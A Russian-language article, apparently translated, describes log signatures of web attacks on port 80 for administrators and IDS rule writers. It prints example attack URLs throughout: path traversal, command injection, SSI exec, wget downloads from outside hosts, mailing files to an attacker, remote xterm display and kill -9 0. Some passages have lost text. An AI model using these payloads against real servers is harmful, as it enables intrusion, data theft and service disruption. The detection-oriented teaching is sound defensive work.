Порт 80 является стандартным для web-сайтов и может иметь много различных проблем безопасности. Эти дыры могут позволить хакеру получить административный доступ к web-сайту, или даже к самому web-серверу. В этой статье рассмотрены некоторые сигнатуры, характерные для таких атак, а также то, что следует искать в логах. Простые сигнатуры
В этом разделе вы найдете стандартные следы взлома web-серверов и web-приложений. Вы не увидите здесь все возможные варианты атак, но узнаете, как они обычно выглядят. Эти сигнатуры охватят большинство известных и неизвестных дыр, которые хакеры могут использовать против вас. Также здесь описано, для чего используется каждая из сигнатур, или как может быть использована при атаке. Запросы "." ".." and "..."
Это наиболее часто встречающиеся сигнатуры атак как в web-приложениях, так и в web-серверах. Они используются хакером или червем для смены директорий на сервере, чтобы получить доступ к непубличным разделам. Большинство CGI-дыр содержат запросы "..". Пример: http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
Данная команда показывает хакеру "Message of the Day". Если хакер имеет возможность просматривать на вашем web-сервере директории вне web-корневой, он может собрать достаточно информации для получения нужных привилегий. Запросы "%20"
Это шестнадцатеричное значение символа пробела. Его наличие еще не означает, что вас атаковали, так как некоторые web-приложения используют его при правомерных запросах. Однако, этот запрос также может использоваться при запуске команд. Так что будьте внимательны при проверке логов. Пример: http://host/cgi-bin/lame.cgi?page=ls%20-al| (стандартная для UNIX-систем команда ls -al)
В этом примере показывается, как хакер запускает команду ls под UNIX с передачей ей аргумента. Этот аргумент дает хакеру полный листинг директории, что может помочь хакеру получить доступ к важным файлам в вашей системе или подсказать, как получить дополнительные привилегии. Запросы "%00"
Это шестнадцатеричный код нулевого байта. Может использоваться, чтобы обмануть web-приложение, будто был запрошен другой файл. Пример: http://host/cgi-bin/lame.cgi?page=index.html
Показанный пример может быть разрешенным запросом на сервере. Если хакер обнаружит это, он наверняка использует запрос для поиска дыр на нем. http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Web-приложение может запретить этот запрос, если проверяет, чтобы имена файлов заканчивались на .htm, .html, .shtml, или другие разрешенные расширения. Многие приложения посчитают запрошенный тип файла недопустимым. И зачастую дадут ответ хакеру, что файл должен иметь разрешенный тип. Таким образом хакер может получить имена директорий, файлов, и затем, возможно, собрать больше информации о вашей системе. http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html
При таком запросе приложение считает, что имя файла относится к разрешенному типу. Некоторые web-приложения плохо проводят проверку на правильность запроса файла, поэтому это частый метод, используемый хакером. Запросы "|"
Вертикальная черта (pipe), часто используется в UNIX для запуска нескольких команд одновременно в одном запросе Пример: cat access_log| grep -i ".."
(Этот пример показывает проверку лога на присутствие запросов ”..”, которые часто используются хакерами и червями.) Web-приложения часто используют этот символ, поэтому его наличие в логах может оказаться ложной тревогой. Чтобы понизить частоту ложных тревог, необходим тщательный анализ вашего программного обеспечения и его работы.
Несколько примеров: http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
Этот запрос является обычным вызовом “ls”. Ниже приведены другие варианты этого запроса. http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
Этот запрос выдает полный листинг директории “etc”. http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
Данный запрос запускает команду "cat", а затем “grep” с аргументом “-i”. Запрос ";"
Этот символ позволяет запускать несколько команд в одной строке в UNIX-системе. Пример: id;uname –a (Запускается команда “id”, затем “uname”)
Web-приложения часто используют этот символ, поэтому возможны ложные тревоги. Повторю, тщательное изучение вашего программного обеспечения и его работы понизит уровень ложных тревог. Запросы "<" и ">"
Эти символы следует проверять в логах по многим причинам, первая из которых в том, что они используются для вывода данных в файл. Пример 1: echo "your hax0red h0 h0" >> /etc/motd
(Это пример записи информации в файл.) Хакер может использовать такой запрос например для дефейса вашего web-сайта. Знаменитый эксплоит RDS от rain.forest.puppy часто использовался хакерами для ввода информации в главную страницу web-сайтов. Примеры взломанных web-сайтов с белыми страницами, без форматирования, ищите на attrition.org. Пример 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>
Это пример cross-site скриптовой атаки. HTML тэги используют символы "<" и ">". Хотя такая атака не дает хакеру доступ к системе, она может использоваться для введения людей в заблуждение относительно адекватности информации на сайте. (Конечно, им нужно посетить нужную хакеру ссылку. Этот запрос может быть замаскирован кодированием символов в шестнадцатеричном виде, чтобы не быть столь очевидным.) Запросы “!”
Этот символ часто используется в SSI (Server Side Include) атаках. Эта атака может дать хакеру результаты, аналогичные предыдущей атаке, когда обманутый пользователь нажимает на ссылку. Пример: http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
В этом примере присоединяется файл с host2, при этом создается впечатление, будто он находится на host1. Как и в прошлый раз, для выполнения атаки пользователь должен посетить нужную хакеру ссылку.
Кроме того, это позволяет хакеру запускать команды на вашей системе с правами пользователя web-сервер. Пример: http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
Запускает команду "id" на удаленной системе. Она должна показать пользовательский id web-сервера, который обычно называется "nobody" или "www".
Также это может позволить присоединение скрытых файлов. Пример: http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
Эта команда присоединяет файл .htpasswd. Этот файл не должен быть доступен каждому, и в Apache даже встроено правило, запрещающее доступ к .ht. SSI тэг обходит это, что может вызвать проблемы с безопасностью. Запросы ""
Часто используются при попытке вставить PHP в удаленное web-приложение. Делает возможным запуск команд в зависимости от установок сервера и других факторов. Пример: http://host/something.php= passthru("id");?>
При плохо написанном PHP-приложении может запустить команду на удаленном компьютере с привилегиями пользователя web-сервер.
Кроме того, хакер может записать этот запрос в шестнадцатеричном виде. Обращайте внимание на все нестандартное и анализируйте все подозрительное. Запросы "`"
Символ обратного штриха часто используется в Perl для запуска команд. Он не используется в нормальных web-приложениях, так что если увидите его в логах – воспримите это серьезно. Пример: http://host/something.cgi=`id`
На плохо написанном Perl web-приложении, эта команда запустит команду “id”. Продвинутые сигнатуры:
В этом разделе описаны запускаемые хакерами команды и запрашиваемые файлы, а также как обнаружить, что вы уязвимы к удаленному запуску команд. Хотя это не полный список команд и файлов, запрашиваемых хакерами, это поможет вам понять, что предпринимается против вашей системы. "/bin/ls"
Это исполняемый модуль команды “ls”. Он часто запрашивается с полным путем во многих дырах web-приложений. Если вы увидите этот запрос в ваших логах, высока вероятность того, что ваша система подвержена удаленному запуску команд. Однако, это не всегда является проблемой и может оказаться ложным сигналом. Повторю вновь, важно изучить работу вашего web-приложения. Если это возможно, попробуйте сделать запрос, найденный в логах и посмотрите на результат. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al| http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
Это Windows shell. Хакер, имеющий доступ на запуск этого скрипта, наверняка сможет сделать что-нибудь на вашей машине, в зависимости от установленных разрешений. Большинство Internet-червей, работающих через 80 порт, используют cmd.exe для распространения на другие удаленные системы. Пример: http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
"/bin/id"
Это исполняемый модуль команды “id”. Он часто запрашивается с полным путем во многих дырах web-приложений. Если вы увидите этот запрос в ваших логах, высока вероятность того, что ваша система подвержена удаленному запуску команд. Однако, это не всегда является проблемой и может оказаться ложным сигналом. Повторю вновь, важно изучить работу вашего web-приложения. Если это возможно, попробуйте сделать запрос, найденный в логах и посмотрите на результат. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id| http://host/cgi-bin/bad.cgi?doh=id;
Команды "wget and tftp"
Эти команды часто используются хакерами и червями для загрузки дополнительных файлов, которые могут использоваться для получения дополнительных системных привилегий. wget – это команда UNIX, может использоваться для загрузки backdoor. tftp – это UNIX и NT команда, предназначенная для передачи файлов. Некоторые IIS черви используют tftp для загрузки своей копии на зараженный компьютер, и продолжают распространяться. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
Команда “cat”
Часто используется для просмотра содержимого файлов. Может использоваться для чтения важной информации, такой как конфигурационные файлы, файлы паролей, и др. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
Команда “echo”
Эта команда часто используется для присоединения данных к файлу, например к index.html. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
Команда “ps”
Показывает список запущенных процессов. Это может подсказать хакеру, какое программное обеспечение запущено на удаленном компьютере и какие дыры безопасности он может иметь. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
Команды "kill и killall"
Эти команды используются для закрытия процессов в UNIX системе. Хакер может использовать их для остановки системного сервиса или программы. Также хакер может использовать их для сокрытия следов своего эксплоита, породившего много дочерних процессов, или некорректно завершившегося. Примеры: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
Команда “uname”
Часто используется хакерами для определения имени удаленной машины. Часто вебсайт хостится у ISP, и эта команда может подсказать, к какому ISP он может получить доступ. Обычно запрашивается “uname -a” и в логах это выглядит как “uname%20-a”. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;
Команды компиляторов/интерпретаторов "cc, gcc, perl python, etc..."
Команды “cc” и “gcc” позволяют компилировать программы. Хакер может использовать wget или tftp для закачки файлов, а затем использовать эти компиляторы для создания эксплоита. С этого момента возможно все, включая взлом локальной системы. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
Если вы увидите запрос к “Perl” или “python”, возможно, что хакер закачал Perl или python скрипт и пытается взломать вашу систему. Команда “mail”
Эта команда может использоваться хакером для отправки файлов на e-mail адрес хакера. Также может использоваться для рассылки спама. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;
Команды "xterm / другие X-приложения"
Xterm часто используется для получения доступа к shell удаленной системы. Если вы обнаружите ее в своих логах, отнеситесь к этому очень серьезно, как к возможно серьезной бреши в безопасности. Ищите в логах запрос, содержащий "%20-display%20". Эти следы часто указывают на попытку запустить xterm или другое X-приложение на удаленном хосте. Примеры: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1| http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
Команды "chown, chmod, chgrp, chsh, и др..."
Эти команды позволяют устанавливать доступ в UNIX системах. Ниже описано, что они делают.
chown позволяет устанавливать принадлежность файла пользователю
chmod позволяет устанавливать доступ к файлу
chgrp позволяет устанавливать принадлежность файла группе
Это файл системных паролей. Обычно он не содержит зашифрованных паролей (т.е. “shadowed”). Однако, может дать хакеру имена пользователей, системные пути и, возможно, хостящиеся сайты. Если этот файл “shadowed”, хакер будет пытаться смотреть файл /etc/shadow.
Файл "/etc/master.passwd"
Файл паролей в BSD-системе, содержащий зашифрованные пароли Доступен для чтения только эккаунтом root, но хакер может попытаться его прочитать, в надежде на удачу. Если web-сервер запущен с правами root, хакер сможет прочитать этот файл, а системный администратор может ожидать больших проблем.
Файл "/etc/shadow"
Системный UNIX-файл, содержащий зашифрованные пароли Доступен для чтения только эккаунтом root, но хакер может попытаться его прочитать, в надежде на удачу. Если web-сервер запущен с правами root, хакер сможет прочитать этот файл, а системный администратор может ожидать больших проблем.
Файл "/etc/motd"
Системный файл "Message of the Day" (тема дня) содержит первое сообщение, которое видит пользователь, входящий в UNIX-систему. Он может содержать важную информацию, адресованную от администратора пользователям, а также версию операционной системы. Хакер может регулярно проверять этот файл и знать, какая используется система. Затем он исследует ее на предмет эксплоитов, дающих дополнительный доступ к этой системе.
Файл "/etc/hosts"
Этот файл дает информацию об IP-адресах и сетевой информации. Хакер может использовать его для поиска дополнительной информации о ваших системных/сетевых настройках.
Файл "/usr/local/apache/conf/httpd.conf"
Путь к этому файлу бывает разным, здесь представлен наиболее часто встречающийся. Это конфигурационный файл web-сервера Apache Он может дать хакеру информацию о хостящихся сайтах и более специфическую, например о доступе к CGI или SSI.
Файл "/etc/inetd.conf"
Это конфигурационных файл сервиса inetd. Он содержит системные демоны, используемые удаленным компьютером. Также может подсказать хакеру, использует ли удаленная система wrapper для каждого демона. Если использует, тогда хакер проверит "/etc/hosts.allow" и "/etc/hosts.deny", и возможно изменит их содержимое, если это даст ему дополнительные привилегии.
Файлы ".htpasswd, .htaccess, и .htgroup"
Эти файлы используются для аутентификации на web-сайте. Хакер попытается просмотреть содержимое этих файлов для получения имен пользователей и паролей. Пароли находятся в файле htpasswd и зашифрованы. Простой взломщик паролей и некоторое потраченное время даст хакеру доступ к некоторым защищенным паролями сессиям на вашем web-сайте, а возможно, и к другим эккаунтам. (Многие люди используют везде одинаковые имена пользователя и пароли и зачастую это дает хакеру доступ к другим эккаунтам, которые может иметь этот пользователь.)
Файлы "access_log and error_log"
Это лог-файлы web-сервера Apache Хакер может проверять их, чтобы увидеть, как записались его запросы и запросы других пользователей.
Часто хакеры редактируют эти файлы, чтобы удалить следы своего присутствия. Тогда становится сложно обнаружить хакера, атаковавшего вашу систему через 80 порт, если только не создаются резервные копии или не ведется двойное логгирование.
Файлы "[drive-letter]:winntrepairsam._ или [drive-letter]:winntrepairsam"
Это имена файлов паролей Windows NT. Хакер часто запрашивает эти файлы, если не разрешен удаленный запуск команд. Далее, он запустит программу типа “l0pht crack”, чтобы взломать пароли на удаленной windows-системе. Если он сможет взломать пароль администратора, удаленный компьютер в его руках.
Переполнения
Мы не будем углубляться в переполнения буфера, но покажем примеры того, как это выглядит. Переполнения буфера часто прячется с помощью кодирования и других приемов. Простой пример: http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
В этом примере хакер посылает множество “A” в приложение и проверяет его на переполнение буфера. Переполнение буфера может позволить хакеру удаленный запуск команд. Если приложение имеет права root, это может дать полный доступ к системе.
Вариантов, как может выглядеть переполнение буфера, великое множество, и мы не будем рассматривать их в этой статье. Регулярно проверяйте логи. Если вы увидите огромные запросы в то время, как для вашего сайта характерны короткие, вероятно это была попытка хакера вызвать переполнение буфера или новая разновидность Интернет-червя атакует вашу машину. Шестнадцатеричное кодирование
Хакеры знают, что часто IDS системы проверяют запросы слишком буквально. Поэтому они часто кодируют свои запросы в шестнадцатеричном формате, и IDS пропускает их. Хороший пример этого - CGI сканер, известный как Whisker. Если вы просмотрели логи и увидели огромное количество шестнадцатеричных или других необычных символов, вероятно, что хакер пытался каким-то образом взломать вашу систему. Быстрый способ проверить, что означает этот шестнадцатеричный код – это скопировать его из лога и вставить в адресную строку броузера. Если вы не получите ошибку 404, тогда шестнадцатеричный код преобразуется и вы увидите его вместе с результатом действия. Если вы не хотите так рисковать, смотрите для расшифровки ASCII коды. Заключение
Эта статья не охватывает все эксплоиты 80 порта, но охватывает наиболее частые типы атак. Она также объясняет вам, что искать в логах, и что добавить в правила IDS. Надеюсь также, статья поможет web-разработчикам лучше писать web-приложения.